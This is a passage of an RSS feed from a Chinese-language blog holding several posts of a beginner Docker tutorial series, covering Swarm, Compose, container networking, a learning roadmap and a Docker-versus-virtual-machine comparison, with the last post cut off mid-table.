&lt;p&gt;Docker Swarm 是 Docker 内置的集群管理与编排工具&lt;/p&gt;
&lt;p&gt;它允许你将多个 Docker 主机组成一个集群，并在其中部署分布式服务&lt;/p&gt;
&lt;p&gt;Swarm 提供了服务发现、负载均衡、滚动更新等功能，是构建生产级容器平台的重要组件&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Swarm 的核心概念&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;节点（Node）&lt;/strong&gt;：Swarm 集群中的主机，分为管理节点（Manager）和工作节点（Worker）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务（Service）&lt;/strong&gt;：Swarm 中运行的容器任务集合，具备副本数、更新策略等配置&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;任务（Task）&lt;/strong&gt;：服务的具体运行实例，分配给某个节点执行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;覆盖网络（Overlay Network）&lt;/strong&gt;：用于跨主机容器通信的虚拟网络&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;初始化 Swarm 集群&lt;/h2&gt;
&lt;p&gt;在一台主机上执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker swarm init
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出中会包含加入集群的命令，例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker swarm join --token &amp;lt;worker-token&amp;gt; &amp;lt;manager-ip&amp;gt;:2377
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在其他主机上执行该命令即可加入集群&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;创建服务&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;docker service create --name web --replicas 3 -p 80:80 nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--name&lt;/code&gt;：服务名称&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--replicas&lt;/code&gt;：副本数量&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p&lt;/code&gt;：端口映射&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nginx&lt;/code&gt;：使用的镜像&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;查看服务状态：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker service ls
docker service ps web
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;服务更新与滚动部署&lt;/h2&gt;
&lt;p&gt;更新服务镜像：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker service update --image nginx:latest web
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Swarm 会自动进行滚动更新，确保服务不中断&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;高可用与负载均衡&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Swarm 会自动将任务分配到不同节点，实现负载均衡&lt;/li&gt;
&lt;li&gt;内置 DNS 服务用于容器间通信&lt;/li&gt;
&lt;li&gt;可配置健康检查与失败自动恢复&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Compose 与 Swarm 集成&lt;/h2&gt;
&lt;p&gt;使用 &lt;code&gt;docker-compose.yml&lt;/code&gt; 文件部署到 Swarm：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker stack deploy -c docker-compose.yml mystack
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看部署状态：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker stack services mystack
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Swarm 与 Kubernetes 对比&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;Docker Swarm&lt;/th&gt;
&lt;th&gt;Kubernetes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;安装复杂度&lt;/td&gt;
&lt;td&gt;简单&lt;/td&gt;
&lt;td&gt;较复杂&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;内置支持&lt;/td&gt;
&lt;td&gt;Docker 原生支持&lt;/td&gt;
&lt;td&gt;需额外安装&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;社区生态&lt;/td&gt;
&lt;td&gt;较小&lt;/td&gt;
&lt;td&gt;活跃、成熟&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;功能扩展性&lt;/td&gt;
&lt;td&gt;基础编排能力&lt;/td&gt;
&lt;td&gt;丰富的插件与控制器&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;Docker Swarm 提供了轻量级的容器编排能力，适合中小型项目或快速部署场景&lt;/p&gt;
&lt;p&gt;它与 Docker Compose 配合使用，可以实现从开发到生产的无缝过渡&lt;/p&gt;
&lt;p&gt;虽然 Kubernetes 更为强大，但 Swarm 依然是理解容器编排原理的理想起点&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (4) - Docker Compose详解</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-4---docker-compose%E8%AF%A6%E8%A7%A3/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-4---docker-compose%E8%AF%A6%E8%A7%A3/</guid><description>Docker入门系列 (4) - Docker Compose详解</description><pubDate>Wed, 24 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在前几章中，我们已经了解了 Docker 的基本命令、镜像与容器管理以及网络原理。本章将深入讲解 Docker Compose —— 一个用于定义和运行多容器 Docker 应用的工具。通过 Compose，你可以用一份配置文件描述整个应用的服务栈，实现一键部署与管理&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;什么是 Docker Compose&lt;/h2&gt;
&lt;p&gt;Docker Compose 是一个用于定义和运行多容器应用的工具。它通过 &lt;code&gt;docker-compose.yml&lt;/code&gt; 文件描述服务、网络、卷等配置，并通过简单命令完成构建、启动、停止等操作。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Compose 的核心概念&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;服务（services）&lt;/strong&gt;：每个服务对应一个容器，可以指定镜像、命令、端口等&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网络（networks）&lt;/strong&gt;：服务之间的通信依赖网络配置，默认自动创建&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;卷（volumes）&lt;/strong&gt;：用于持久化数据或共享文件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;依赖（depends_on）&lt;/strong&gt;：定义服务之间的启动顺序&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;一个最小的 Compose 示例&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3&apos;
services:
  web:
    image: nginx
    ports:
      - &quot;8080:80&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动服务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker-compose up -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;停止服务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker-compose down
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;多服务组合示例&lt;/h2&gt;
&lt;p&gt;以下是一个包含 Web、Redis 和 PostgreSQL 的服务栈：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3.8&apos;
services:
  web:
    image: nginx
    ports:
      - &quot;8080:80&quot;
    depends_on:
      - redis
      - db
    networks:
      - backend

  redis:
    image: redis
    networks:
      - backend

  db:
    image: postgres
    environment:
      POSTGRES_PASSWORD: example
    networks:
      - backend

networks:
  backend:
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常用命令速查&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;命令&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker-compose up&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;构建并启动所有服务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker-compose down&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;停止并移除所有服务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker-compose ps&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查看服务状态&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker-compose logs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;查看服务日志&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker-compose exec&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;进入某个容器执行命令&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;docker-compose build&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;构建镜像（用于自定义 Dockerfile）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;使用 Compose 的优势&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;配置集中&lt;/strong&gt;：所有服务定义在一个文件中，便于管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;环境一致性&lt;/strong&gt;：开发、测试、生产环境配置一致&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;快速部署&lt;/strong&gt;：一条命令即可启动整个应用栈&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;易于扩展&lt;/strong&gt;：支持多个网络、卷、服务拓展&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;实战建议&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;将 &lt;code&gt;docker-compose.yml&lt;/code&gt; 文件纳入版本控制&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;.env&lt;/code&gt; 文件管理环境变量&lt;/li&gt;
&lt;li&gt;配合 &lt;code&gt;Dockerfile&lt;/code&gt; 构建自定义服务&lt;/li&gt;
&lt;li&gt;在 CI/CD 流程中集成 Compose 实现自动化部署&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;Docker Compose 是构建现代微服务架构的利器。它简化了多容器应用的部署流程，使得开发者可以专注于业务逻辑而非环境配置。掌握 Compose，将为后续学习 Docker Swarm 和 Kubernetes 打下坚实基础&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (3) - Docker 网络原理详解</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-3---docker-%E7%BD%91%E7%BB%9C%E5%8E%9F%E7%90%86%E8%AF%A6%E8%A7%A3/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-3---docker-%E7%BD%91%E7%BB%9C%E5%8E%9F%E7%90%86%E8%AF%A6%E8%A7%A3/</guid><description>Docker入门系列 (3) - Docker 网络原理详解</description><pubDate>Tue, 23 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;容器之间如何通信？容器如何暴露服务给外部？Docker 网络是容器化部署中不可忽视的一环。本章将深入解析 Docker 的网络模型、常见网络类型及其应用场景，帮助你构建更稳定、可控的容器网络环境。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;网络模型概览&lt;/h2&gt;
&lt;p&gt;Docker 提供了多种网络驱动，满足不同场景下的容器通信需求：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;bridge&lt;/strong&gt;：默认网络，适用于单主机容器通信&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;host&lt;/strong&gt;：容器共享宿主机网络栈，性能高但隔离性弱&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;none&lt;/strong&gt;：容器无网络连接，适用于完全隔离场景&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;overlay&lt;/strong&gt;：跨主机容器通信，适用于 Swarm 集群&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;macvlan&lt;/strong&gt;：容器拥有独立 IP，适用于与物理网络集成&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;bridge 网络详解&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Docker 默认创建一个名为 &lt;code&gt;bridge&lt;/code&gt; 的虚拟网桥&lt;/li&gt;
&lt;li&gt;所有未指定网络的容器都会连接到该网桥&lt;/li&gt;
&lt;li&gt;容器之间可通过名称互相访问&lt;/li&gt;
&lt;li&gt;可使用 &lt;code&gt;docker network inspect bridge&lt;/code&gt; 查看网络详情&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d --name web1 nginx
docker run -d --name web2 nginx
docker exec -it web1 ping web2
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;host 网络模式&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;容器与宿主机共享网络栈&lt;/li&gt;
&lt;li&gt;无需端口映射，直接使用宿主机端口&lt;/li&gt;
&lt;li&gt;适用于高性能场景，如负载均衡器或代理服务&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run --network host nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意：仅适用于 Linux，Docker Desktop 的 host 网络行为不同。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;overlay 网络（Swarm 模式）&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;支持跨主机容器通信&lt;/li&gt;
&lt;li&gt;需启用 Docker Swarm&lt;/li&gt;
&lt;li&gt;自动实现服务发现与加密传输&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;创建步骤：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker swarm init
docker network create -d overlay my_overlay
docker service create --name web --network my_overlay nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;自定义网络与 DNS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;docker network create&lt;/code&gt; 创建隔离网络&lt;/li&gt;
&lt;li&gt;容器自动注册 DNS 名称，支持名称解析&lt;/li&gt;
&lt;li&gt;提升安全性与可维护性&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker network create my_net
docker run -d --name db --network my_net postgres
docker run -d --name app --network my_net myapp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 &lt;code&gt;app&lt;/code&gt; 容器中可通过 &lt;code&gt;db:5432&lt;/code&gt; 访问数据库。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;端口映射与访问控制&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;-p&lt;/code&gt; 参数将容器端口映射到宿主机&lt;/li&gt;
&lt;li&gt;宿主机可通过 &lt;code&gt;localhost:端口&lt;/code&gt; 访问容器服务&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d -p 8080:80 nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;可结合防火墙或反向代理实现访问控制&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;Docker 网络模型为容器提供了灵活的通信机制&lt;/p&gt;
&lt;p&gt;掌握不同网络类型的原理与应用场景，不仅能提升服务稳定性，也能为后续的集群部署与安全策略打下坚实基础&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (2) - 学习路线</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-2---%E5%AD%A6%E4%B9%A0%E8%B7%AF%E7%BA%BF/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-2---%E5%AD%A6%E4%B9%A0%E8%B7%AF%E7%BA%BF/</guid><description>Docker入门系列 (2) - 学习路线</description><pubDate>Mon, 22 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在当今云原生和微服务盛行的时代，Docker 已成为开发者和运维人员不可或缺的技能之一。本文将为你梳理一条清晰的 Docker 学习路线，帮助你从零开始，逐步掌握容器技术的核心知识与实战能力。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;学习路线总览&lt;/h2&gt;
&lt;p&gt;Docker 的学习可以分为以下几个阶段：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;th&gt;目标&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;入门&lt;/td&gt;
&lt;td&gt;Docker 概述、安装、基本命令&lt;/td&gt;
&lt;td&gt;了解 Docker 的基本概念与使用方式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;进阶&lt;/td&gt;
&lt;td&gt;镜像管理、容器操作、数据卷、Dockerfile&lt;/td&gt;
&lt;td&gt;掌握容器构建与数据持久化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;实战&lt;/td&gt;
&lt;td&gt;网络原理、IDE 整合、Compose、Swarm&lt;/td&gt;
&lt;td&gt;构建复杂应用、实现服务编排&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DevOps&lt;/td&gt;
&lt;td&gt;CI/CD 与 Jenkins 集成&lt;/td&gt;
&lt;td&gt;实现自动化部署与持续交付&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;第一阶段：Docker 入门&lt;/h2&gt;
&lt;h3&gt;Docker 概述&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;什么是容器技术？&lt;/li&gt;
&lt;li&gt;Docker 与虚拟机的区别&lt;/li&gt;
&lt;li&gt;Docker 的应用场景&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Docker 安装&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Windows / macOS / Linux 安装指南&lt;/li&gt;
&lt;li&gt;使用 Docker Desktop&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Docker 基本命令&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;镜像命令：&lt;code&gt;docker pull&lt;/code&gt;, &lt;code&gt;docker images&lt;/code&gt;, &lt;code&gt;docker rmi&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;容器命令：&lt;code&gt;docker run&lt;/code&gt;, &lt;code&gt;docker ps&lt;/code&gt;, &lt;code&gt;docker stop&lt;/code&gt;, &lt;code&gt;docker rm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;操作命令：&lt;code&gt;docker exec&lt;/code&gt;, &lt;code&gt;docker logs&lt;/code&gt;, &lt;code&gt;docker inspect&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;第二阶段：深入理解 Docker&lt;/h2&gt;
&lt;h3&gt;镜像与容器管理&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;镜像构建与优化&lt;/li&gt;
&lt;li&gt;容器生命周期管理&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;容器数据卷&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;数据卷的作用与类型&lt;/li&gt;
&lt;li&gt;持久化存储与备份策略&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Dockerfile 编写&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;指令详解：&lt;code&gt;FROM&lt;/code&gt;, &lt;code&gt;RUN&lt;/code&gt;, &lt;code&gt;COPY&lt;/code&gt;, &lt;code&gt;CMD&lt;/code&gt; 等&lt;/li&gt;
&lt;li&gt;多阶段构建与最佳实践&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;第三阶段：Docker 实战应用&lt;/h2&gt;
&lt;h3&gt;Docker 网络原理&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Bridge、Host、Overlay 网络模式&lt;/li&gt;
&lt;li&gt;容器间通信与端口映射&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;IDEA 整合 Docker&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;在 IntelliJ IDEA 中配置 Docker&lt;/li&gt;
&lt;li&gt;容器化开发环境&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Docker Compose&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;多容器编排&lt;/li&gt;
&lt;li&gt;&lt;code&gt;docker-compose.yml&lt;/code&gt; 文件结构&lt;/li&gt;
&lt;li&gt;一键启动完整项目&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Docker Swarm&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;集群管理与服务部署&lt;/li&gt;
&lt;li&gt;节点与任务调度机制&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;第四阶段：DevOps 实践&lt;/h2&gt;
&lt;h3&gt;CI/CD 与 Jenkins&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用 Jenkins 构建 Docker 镜像&lt;/li&gt;
&lt;li&gt;自动化测试与部署流程&lt;/li&gt;
&lt;li&gt;与 Git、Kubernetes 的集成&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;总结与建议&lt;/h2&gt;
&lt;p&gt;Docker 是一个强大而灵活的工具，但学习它并不需要一口吃成胖子。建议你按照以上路线逐步深入，结合实际项目进行练习。掌握 Docker，不仅能提升开发效率，还能为你打开云原生世界的大门&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (1) - 开篇</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-1---%E5%BC%80%E7%AF%87/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-1---%E5%BC%80%E7%AF%87/</guid><description>Docker入门系列 (1) - 开篇</description><pubDate>Sun, 21 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在容器技术逐渐成为主流的今天，Docker 与传统虚拟机的差异也成为许多开发者入门时最常遇到的问题&lt;/p&gt;
&lt;p&gt;两者都能实现应用隔离与环境封装，但在架构设计、资源利用、启动效率和安全模型等方面却有本质区别&lt;/p&gt;
&lt;p&gt;本文将从多个维度深入解析 Docker 与虚拟机的核心差异，帮助你理解为什么 Docker 更适合现代化的微服务部署与 DevOps 流程&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;实现架构上的区别&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.loli.net/2025/09/24/YxHvVWKRtcXM2Ub.jpg&quot; alt=&quot;虚拟机和Docker的对比&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;虚拟机架构详解&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;基础设施 (Infrastructure)&lt;/strong&gt;&lt;br /&gt;
可以是你的 &lt;strong&gt;个人电脑&lt;/strong&gt;、&lt;strong&gt;数据中心的服务器&lt;/strong&gt; 或者是 &lt;strong&gt;云主机&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;主操作系统 (Host OS)&lt;/strong&gt;&lt;br /&gt;
运行在基础设施之上，可能是 &lt;strong&gt;macOS&lt;/strong&gt;、&lt;strong&gt;Windows&lt;/strong&gt; 或某个 &lt;strong&gt;Linux 发行版&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;虚拟机管理系统 (Hypervisor)&lt;/strong&gt;&lt;br /&gt;
用于在主操作系统上运行多个不同的从操作系统&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;类型 1：如 &lt;strong&gt;HyperKit (macOS)&lt;/strong&gt;、&lt;strong&gt;Hyper-V (Windows)&lt;/strong&gt;、&lt;strong&gt;KVM (Linux)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;类型 2：如 &lt;strong&gt;VirtualBox&lt;/strong&gt;、&lt;strong&gt;VMWare&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;从操作系统 (Guest OS)&lt;/strong&gt;&lt;br /&gt;
每个虚拟机都运行一个完整的操作系统。假设你需要运行 &lt;strong&gt;3 个相互隔离的应用&lt;/strong&gt;，则需要启动 &lt;strong&gt;3 个虚拟机&lt;/strong&gt;，每个虚拟机可能占用 &lt;strong&gt;700MB 以上的磁盘空间&lt;/strong&gt;，同时消耗大量 &lt;strong&gt;CPU 和内存&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;依赖安装&lt;/strong&gt;&lt;br /&gt;
每个虚拟机都需要单独安装应用所需的依赖，如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PostgreSQL：&lt;code&gt;libpq-dev&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Ruby：&lt;code&gt;gems&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Python / Node.js：对应的依赖库&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;Docker 容器架构详解&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;主操作系统 (Host OS)&lt;/strong&gt;&lt;br /&gt;
所有主流的 &lt;strong&gt;Linux 发行版&lt;/strong&gt; 都支持 Docker，&lt;strong&gt;macOS&lt;/strong&gt; 和 &lt;strong&gt;Windows&lt;/strong&gt; 也可以通过 Docker Desktop 等方式运行&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Docker 守护进程 (Docker Daemon)&lt;/strong&gt;&lt;br /&gt;
替代 Hypervisor，作为后台进程运行在操作系统之上，负责管理容器的生命周期&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;依赖管理&lt;/strong&gt;&lt;br /&gt;
所有应用依赖都打包在 &lt;strong&gt;Docker 镜像&lt;/strong&gt; 中，容器是基于镜像创建的，避免了重复安装&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;应用部署&lt;/strong&gt;&lt;br /&gt;
每个应用的源代码与依赖都打包在镜像中，运行在独立容器中，容器之间 &lt;strong&gt;相互隔离&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;隔离性与安全性对比&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;虚拟机&lt;/th&gt;
&lt;th&gt;Docker 容器&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;隔离级别&lt;/td&gt;
&lt;td&gt;操作系统级别&lt;/td&gt;
&lt;td&gt;进程级别&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;权限隔离&lt;/td&gt;
&lt;td&gt;Guest OS 与 Host OS 权限分离&lt;/td&gt;
&lt;td&gt;容器 root 与宿主机 root 权限一致&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安全性&lt;/td&gt;
&lt;td&gt;更强，适合多租户环境&lt;/td&gt;
&lt;td&gt;需额外配置保障安全性&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;启动速度对比&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;虚拟机&lt;/th&gt;
&lt;th&gt;Docker 容器&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;启动时间&lt;/td&gt;
&lt;td&gt;分钟级&lt;/td&gt;
